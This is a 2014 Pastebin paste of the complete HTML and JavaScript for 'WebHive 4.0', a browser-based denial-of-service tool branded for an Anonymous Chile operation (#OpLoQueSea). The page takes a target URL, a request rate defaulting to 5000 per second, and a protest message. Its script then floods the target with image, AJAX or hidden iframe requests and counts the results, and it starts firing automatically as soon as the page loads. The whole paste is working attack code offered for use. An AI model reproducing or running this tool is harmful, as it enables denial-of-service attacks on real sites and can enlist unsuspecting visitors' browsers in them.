Advertisement
AnonChile

WebHive 4.0 AnonChile

Nov 24th, 2014
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 20.29 KB | None | 0 0
  1.  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
  2.  
  3. transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  7. <title>#OpLoQueSea - Webhive 4.0</title>
  8. <link rel="icon" type="image/png" href="http://i.imgur.com/ATn9J.jpg" />
  9. <style>
  10. html  {
  11. background-color:#0F1823;
  12. min-height:100%;
  13. background-image: linear-gradient(bottom, #0F1823 0%, #455463 100%);
  14. background-image: -o-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  15. background-image: -moz-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  16. background-image: -webkit-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  17. background-image: -ms-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  18. background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #0F1823), color-stop(1,
  19.  
  20. #455463));
  21. }
  22. *, html, body {
  23. margin: 0;
  24. padding: 0;
  25. font-family: Arial, Helvetica, sans-serif;
  26. }
  27. @keyframes greenPulse {
  28. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  29. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  30. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  31. }
  32. @keyframes redPulse {
  33. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  34. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  35. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  36. }
  37. @-moz-keyframes greenPulse {
  38. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  39. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  40. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  41. }
  42. @-moz-keyframes redPulse {
  43. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  44. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  45. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  46. }
  47. @-webkit-keyframes greenPulse {
  48. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  49. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  50. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  51. }
  52. @-webkit-keyframes redPulse {
  53. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  54. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  55. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  56. }
  57. button#fireButton.ready {
  58. animation-name: greenPulse;
  59. animation-duration: 2s;
  60. animation-iteration-count: infinite;
  61. -moz-animation-name: greenPulse;
  62. -moz-animation-duration: 2s;
  63. -moz-animation-iteration-count: infinite;
  64. -webkit-animation-name: greenPulse;
  65. -webkit-animation-duration: 2s;
  66. -webkit-animation-iteration-count: infinite;
  67. background-color: #91BD09;
  68. -webkit-transition: background-color linear 1s;
  69. }
  70. button#firebutton:hover {
  71.   background-color: yellow;
  72.   -webkit-transition-duration: 2s; /* applies to the transition *to* the :hover state */
  73. }
  74. button#fireButton.working {
  75. -animation-name: redPulse;
  76. -animation-duration: 1s;
  77. -animation-iteration-count: infinite;
  78. -moz-animation-name: redPulse;
  79. -moz-animation-duration: 1s;
  80. -moz-animation-iteration-count: infinite;
  81. -webkit-animation-name: redPulse;
  82. -webkit-animation-duration: 1s;
  83. -webkit-animation-iteration-count: infinite;
  84. background-color: #ff3232;
  85. -webkit-transition: background-color linear 1s;
  86.  
  87. }
  88. button#fireButton {
  89. font-size: 14px;
  90. padding: 8px 19px 9px;
  91. display: table;
  92. color: white !important;
  93. font-size: 13px;
  94. font-weight: bold;
  95. line-height: 1;
  96. text-decoration: none;
  97. -moz-border-radius: 50px;
  98. -webkit-border-radius: 50px;
  99. border-radius: 50px;
  100. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
  101. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
  102. text-shadow: 0 -1px 1px rgba(0, 0, 0, 0.25);
  103. border-bottom: 1px solid rgba(0, 0, 0, 0.25);
  104. position: relative;
  105. cursor: pointer;
  106. overflow: visible;
  107. margin: 0 auto;
  108. }
  109. div.container {
  110. padding: 10px;
  111. -webkit-border-radius: 10px;
  112. -moz-border-radius: 10px;
  113. border-radius: 10px;
  114. -webkit-box-shadow:  1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  115. -moz-box-shadow:  1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  116. box-shadow:  1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  117. border: 2px solid #FFF;
  118. background: #f6f8f9;
  119. background: -moz-linear-gradient(top,  #f6f8f9 0%, #e5ebee 50%, #d7dee3 51%, #f5f7f9 100%);
  120. background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f6f8f9), color-stop(50%,#e5ebee),
  121.  
  122. color-stop(51%,#d7dee3), color-stop
  123.  
  124. (100%,#f5f7f9));
  125. background: -webkit-linear-gradient(top,  #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  126. background: -o-linear-gradient(top,  #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  127. background: -ms-linear-gradient(top,  #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  128. background: linear-gradient(top,  #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  129. filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f6f8f9', endColorstr='#f5f7f9',GradientType=0
  130.  
  131. );
  132. }
  133. #footer, #footer a, #footer a:link, #footer a:active, #footer a:visited, #footer a:hover {
  134. font-size: small;
  135. color: white;
  136. }
  137. h1 {
  138. font-size: 3.0em;
  139. font-weight: 600;
  140. color: black;
  141. position: relative;
  142. display: inline;
  143. padding: 0 1px 0 0px;
  144. margin: 0 auto;
  145. }
  146. h1::before {
  147. content: attr(title);
  148. position: absolute;
  149. color: rgba(255, 255, 255, 0.15);
  150. top: 1px;
  151. left: 1px;
  152. }
  153. input[type=text] {
  154. padding: 8px 3px;
  155. background: white;
  156. border: 1px solid #DEDEDE;
  157. color: #000;
  158. background: -webkit-gradient(linear, left top, left bottom, from(#F9F9F9), to(white));
  159. background: -moz-linear-gradient(top, #F9F9F9, white);
  160. -webkit-box-shadow: inset 1px 1px #ccc;
  161. -moz-box-shadow: inset 1px 1px #ccc;
  162. box-shadow: inset 1px 1px #ccc;
  163. -webkit-border-radius: 5px;
  164. -moz-border-radius: 5px;
  165. border-radius: 5px;
  166. }
  167. </style>
  168. </head>
  169. <body>
  170. <div style="clear: both; width: 650px; margin-left: auto; margin-right: auto; padding-top: 30px;">
  171.         <h1 title="#OpLoQueSea -- WebHive">#OpLoQueSea -- WebHive</h1>
  172.         <br style="clear: both;" />
  173.         <div class="container" style="float: left; margin-top: 10px; width: 250px;">
  174.                 <label><b>Selecciona un tipo:</b><br />
  175.                         <select id="type" style="width: 248px;" onchange="changeType();">
  176.                                      <option disabled="disabled"> </option>
  177.                                 <optgroup label="Iframe HTTP Request">
  178.                                         <option value="iframe">Iframe sst</option>
  179.                                 </optgroup>
  180.                         </select>
  181.                 </label>
  182.                 <br style="clear: both;" />
  183.                 <br style="clear: both;" />
  184.                 <label><b>Selecciona una URL:</b><br />
  185.                         <input type="text" id="targetURL" style="width: 240px;" onkeyup="changeValue();"
  186.  
  187. value="http://Aca_va_el_target.com"/>
  188.                 </label>
  189.                 <br style="clear: both;" />
  190.                 <br style="clear: both;" />
  191.                 <label><b>Peticiones por Segundo:</b><br />
  192.                         <input type="text" style="width: 240px;" id="rps" value="5000" />
  193.                 </label>
  194.                 <br style="clear: both;" />
  195.                 <br style="clear: both;" />
  196.                 <label><b>Mensaje:</b><br />
  197.                         <input type="text" id="message" style="width: 240px;" value="Somos Anonymous, Somos Legion, No perdonamos, No olvidamos, Esperanos! Anonymous Chile" />
  198.                 </label>
  199.         </div>
  200.         <div class="container" style="float: right; margin-top: 10px; width: 250px;">
  201.                 <b>Status</b><br style="clear: both;" />
  202.                 <span style="float: left; width: 180px;">Solicitudes:</span> <span id="requestedCtr">0</span><br />
  203.                 <span style="float: left; width: 180px;">Target cargado:</span> <span id="succeededCtr"
  204.  
  205. style="color: green;">0</span><br />
  206.                 <span style="float: left; width: 180px;">Target no cargado:</span> <span id="failedCtr"
  207.  
  208. style="color: red;">0</span>
  209.                 <br style="clear: both;" />
  210.                 <br style="clear: both;" />
  211.                 <label><b>Listo?</b><br />
  212.                         <button id="fireButton" class="ready" style="width: 100px; height: 100px;"> Start Firing!
  213.  
  214. </button>
  215.                 </label>
  216.         </div>
  217. </div>
  218. <div style="clear: both; height: 30px;"></div>
  219. <div id="currentTarget" class="container" style="margin: 0 auto; width: 626px; margin-bottom: 25px; vertical-
  220. align: middle; line-height: 18pt; overflow: hidden; white-space: nowrap;">Target actual:
  221.  
  222. http://Aca_va_el_target.com</div>
  223. <div style="margin-left: auto; margin-right: auto; width: 200px; text-align: center;">
  224.         <div id="footer" style="padding-bottom: 25px; position: relative;">
  225.                 <img alt="Anonymous"
  226.  
  227. src="http://i.imgur.com/4ro3NsI.png"
  228.  
  229. />
  230.                 <br />
  231.                 <script type="text/javascript">
  232.                 <!--
  233.                var r_text = new Array();
  234.                r_text[0] = "I disapprove of what you say, <br />but I will defend to the death your right to say
  235.  
  236. it.";
  237.                r_text[1] = "United As One. Divided By Zero.";
  238.                r_text[2] = "You cannot arrest an idea.";
  239.                r_text[3] = "We are Anonymous. <br />We are legion. <br />We do not forgive. <br />We do not
  240.  
  241. forget. <br />Expect us.";
  242.                r_text[4] = "Never forget to expect us.";
  243.                r_text[5] = "We are one. <br />Divided by zero, <br />we become infinity!";
  244.                r_text[6] = "Also c0cks!";
  245.                var i = Math.floor(r_text.length*Math.random())
  246.              
  247.                document.write(r_text[i]);
  248.                //-->
  249.                 </script>
  250.         </div>
  251. </div>
  252. <script type="text/javascript">
  253.         var requestedCtrNode = document.getElementById("requestedCtr");
  254.         var succeededCtrNode = document.getElementById("succeededCtr");
  255.         var failedCtrNode = document.getElementById("failedCtr");
  256.         var targetURLNode = document.getElementById("targetURL");
  257.         var fireButton = document.getElementById("fireButton");
  258.         var messageNode = document.getElementById("message");
  259.         var rpsNode = document.getElementById("rps");
  260.         var timeoutNode = document.getElementById("timeout");
  261.         var typeSelectNode = document.getElementById("type");
  262.         var targetURL = targetURLNode.value;
  263.         var typeSelect = typeSelectNode.value;
  264.         var requestedCtr = 0;
  265.         var fireInterval;
  266.         var isFiring = false;
  267.         var currentTime = new Date()
  268.         var lastSuccess = currentTime.getTime();
  269.         var requestsHT = {};
  270.  
  271.  
  272. (function () {
  273.         succeededCtr = 0;
  274.         failedCtr = 0;
  275.  
  276.         targetURLNode.onchange = function() {
  277.                 targetURL = this.value;
  278.         };
  279.        
  280.         typeSelectNode.onchange = function() {
  281.                 typeSelect = this.value;
  282.         }      
  283.        
  284.         var makeAjaxGRequest = function() {
  285.                 if ((currentTime.getTime()-lastSuccess) > 1000) {
  286.                         return;
  287.                 } else {
  288.                         lastSuccess = currentTime.getTime();
  289.                 };
  290.                
  291.                 var rID = Number(new Date());
  292.                 msg = null;
  293.                
  294.                 var r;
  295.                 if (window.XMLHttpRequest)
  296.                 {
  297.                         r = new XMLHttpRequest();
  298.                 }
  299.                 else
  300.                 {
  301.                         r = new ActiveXObject("Microsoft.XMLHTTP");
  302.                 }
  303.                
  304.                 r.open('GET',targetURL,true);
  305.                 r.send(msg);
  306.  
  307.                 requestsHT[rID] = r;
  308.                 onRequest(rID);
  309.                 r.onerror = function () { onFail(rID); };
  310.                 r.onabort = function () { onFail(rID); };
  311.                 r.onload = function() { onSuccess(rID); };
  312.         }
  313.  
  314.         var makeAjaxPRequest = function() {
  315.                 if ((currentTime.getTime()-lastSuccess) > 1000) {
  316.                         return;
  317.                 } else {
  318.                         lastSuccess = currentTime.getTime();
  319.                 };
  320.                
  321.                 var rID = Number(new Date());
  322.                 msg = rID+'='+messageNode.value;
  323.                
  324.                 var r;
  325.                 if (window.XMLHttpRequest)
  326.                 {
  327.                         r = new XMLHttpRequest();
  328.                 }
  329.                 else
  330.                 {
  331.                         r = new ActiveXObject("Microsoft.XMLHTTP");
  332.                 }
  333.                
  334.                 r.open('POST',targetURL,true);
  335.                 r.send(msg);
  336.                
  337.                 requestsHT[rID] = r;
  338.                 onRequest(rID);
  339.                 r.onerror = function () { onFail(rID); };
  340.                 r.onabort = function () { onFail(rID); };
  341.                 r.onload = function() { onSuccess(rID); };
  342.         }
  343.        
  344.         var makeIframeRequest = function() {
  345.                 if ((currentTime.getTime()-lastSuccess) > 1000) {
  346.                         return;
  347.                 } else {
  348.                         lastSuccess = currentTime.getTime();
  349.                 };
  350.                
  351.                 var rID = Number(new Date());
  352.                 var iframe = document.createElement("iframe");  
  353.                 iframe.setAttribute('src', targetURL+'?msg='+messageNode.value);
  354.                 iframe.setAttribute('style', 'border:none; overflow:hidden; width:0px; height:0px;');
  355.                 iframe.setAttribute('scrolling', 'no');
  356.                 iframe.setAttribute('id', rID);
  357.                 iframe.setAttribute('allowtransparency', 'true');
  358.                 iframe.setAttribute('frameborder', '0');
  359.                 document.getElementsByTagName("html")[0].appendChild(iframe);
  360.  
  361.                 requestsHT[rID] = iframe;
  362.                 onRequest(rID);
  363.                 iframe.onload = function () { onSuccess(rID); document.getElementsByTagName("html")
  364.  
  365. [0].removeChild(document.getElementById(rID)); };
  366.                 iframe.onerror = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
  367.  
  368. (document.getElementById(rID)); };    
  369.                 iframe.onabort = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
  370.  
  371. (document.getElementById(rID)); };    
  372.         }
  373.        
  374.         var makeImageRequest = function() {
  375.                 if ((currentTime.getTime()-lastSuccess) > 1000) {
  376.                         return;
  377.                 } else {
  378.                         lastSuccess = currentTime.getTime();
  379.                 };
  380.        
  381.                 var rID = Number(new Date());
  382.                 var img = new Image();
  383.                 img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  384.  
  385.                 requestsHT[rID] = img;
  386.                 onRequest(rID);
  387.                 img.onerror = function () { onFail(rID); };
  388.                 img.onabort = function () { onFail(rID); };
  389.                 img.onload = function () { onSuccess(rID); };
  390.         };
  391.  
  392.         var onRequest = function(rID) {
  393.                 requestedCtr++;
  394.                 requestedCtrNode.innerHTML = requestedCtr;
  395.         };
  396.  
  397.         var onComplete = function(rID) {
  398.                 delete requestsHT[rID];
  399.         };
  400.  
  401.         var onFail = function(rID) {
  402.                 failedCtr++;
  403.                 failedCtrNode.innerHTML = failedCtr;
  404.                 delete requestsHT[rID];
  405.         };
  406.        
  407.         var onSuccess = function(rID) {
  408.                 succeededCtr++;
  409.                 succeededCtrNode.innerHTML = succeededCtr;
  410.                 delete requestsHT[rID];
  411.         };
  412.        
  413.         fireButton.onclick = function() {
  414.                 if (isFiring) {
  415.                         fireButton.className = 'ready';
  416.                         document.getElementById("type").disabled=false;
  417.                         document.getElementById("targetURL").disabled=false;
  418.                         document.getElementById("rps").disabled=false;
  419.                         document.getElementById("message").disabled=false;
  420.                         clearInterval(fireInterval);
  421.                         isFiring = false;
  422.                         this.innerHTML = "Disparar de Nuevo!";
  423.                 } else {
  424.                         fireButton.className = 'working';
  425.                         document.getElementById("type").disabled=true;
  426.                         document.getElementById("targetURL").disabled=true;
  427.                         document.getElementById("rps").disabled=true;
  428.                         document.getElementById("message").disabled=true;
  429.                         isFiring = true;
  430.                         this.innerHTML = "Dejar de Disparar!";
  431.                        
  432.                         var interval = (1000 / parseInt(rpsNode.value) | 0);
  433.                        
  434.                         switch(typeSelect) {
  435.                         case 'image':
  436.                           fireInterval = setInterval(makeImageRequest, interval);
  437.                           break;
  438.                         case 'ajaxget':
  439.                           fireInterval = setInterval(makeAjaxGRequest, interval);
  440.                           break;
  441.                         case 'ajaxpost':
  442.                           fireInterval = setInterval(makeAjaxPRequest, interval);
  443.                           break;
  444.                         case 'iframe':
  445.                           fireInterval = setInterval(makeIframeRequest, interval);
  446.                           break;
  447.                         default:
  448.                           fireInterval = setInterval(makeImageRequest, interval);
  449.                         }            
  450.                 }
  451.         };
  452.         function auto_start(){
  453.                 if (isFiring) {
  454.                         fireButton.className = 'ready';
  455.                         document.getElementById("type").disabled=false;
  456.                         document.getElementById("targetURL").disabled=false;
  457.                         document.getElementById("rps").disabled=false;
  458.                         document.getElementById("message").disabled=false;
  459.                         clearInterval(fireInterval);
  460.                         isFiring = false;
  461.                         fireButton.innerHTML = "Disparar de Nuevo!";
  462.                 } else {
  463.                         fireButton.className = 'working';
  464.                         document.getElementById("type").disabled=true;
  465.                         document.getElementById("targetURL").disabled=true;
  466.                         document.getElementById("rps").disabled=true;
  467.                         document.getElementById("message").disabled=true;
  468.                         isFiring = true;
  469.                         fireButton.innerHTML = "Dejar de Disparar!";
  470.                        
  471.                         var interval = (1000 / parseInt(rpsNode.value) | 0);
  472.                        
  473.                         switch(typeSelect) {
  474.                         case 'image':
  475.                           fireInterval = setInterval(makeImageRequest, interval);
  476.                           break;
  477.                         case 'ajaxget':
  478.                           fireInterval = setInterval(makeAjaxGRequest, interval);
  479.                           break;
  480.                         case 'ajaxpost':
  481.                           fireInterval = setInterval(makeAjaxPRequest, interval);
  482.                           break;
  483.                         case 'iframe':
  484.                           fireInterval = setInterval(makeIframeRequest, interval);
  485.                           break;
  486.                         default:
  487.                           fireInterval = setInterval(makeImageRequest, interval);
  488.                         }            
  489.                 }
  490.         }
  491.  
  492. auto_start();
  493. })();
  494.  
  495. function changeValue(){
  496.         targetURL = document.getElementById("targetURL").value;
  497.         document.getElementById("currentTarget").innerHTML = ("Current target: " + targetURL);
  498. }
  499.  
  500.  
  501. function changeType(){
  502.         typeSelect = document.getElementById("type").value;
  503. }
  504. </script>
  505. </body>
  506. </html>
  507. <!-- Hosting24 Analytics Code -->
  508. <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
  509. <!-- End Of Analytics Code -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement